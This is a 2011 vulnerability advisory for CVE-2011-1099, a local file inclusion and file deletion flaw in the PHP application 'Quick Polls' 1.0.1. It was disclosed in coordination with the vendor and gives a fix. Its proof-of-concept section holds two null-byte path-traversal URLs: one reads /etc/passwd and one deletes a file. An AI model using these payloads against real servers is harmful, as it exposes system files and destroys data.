Quick Polls 1.0.1 Local File Inclusion / Deletion

2011-03-07 / 2011-03-08
Risk: Medium
Local: No
Remote: No
CWE: CWE-22


CVSS Base Score: 5.8/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: Partial

'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099) Mark Stanislav - mark.stanislav@gmail.com I. DESCRIPTION --------------------------------------- Two vulnerabilities exist in 'Quick Polls' providing local file inclusion & local file deletion due to null-byte attacks against functions in index.php. II. TESTED VERSION --------------------------------------- 1.0.1 III. PoC EXPLOITS --------------------------------------- LFI: http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00 LFD: http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00 IV. NOTES --------------------------------------- * magic_quotes_gpc must be disabled for null-byte attacks to work V. SOLUTION --------------------------------------- Upgrade to 1.0.2 or above VI. REFERENCES --------------------------------------- http://www.focalmedia.net/create_voting_poll.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099 http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/ VII. TIMELINE --------------------------------------- 02/05/2011 - Initial vendor disclosure 02/07/2011 - Vendor patched and released an updated version 02/07/2011 - Confirmed public disclosure date with vendor 03/06/2011 - Public disclosure


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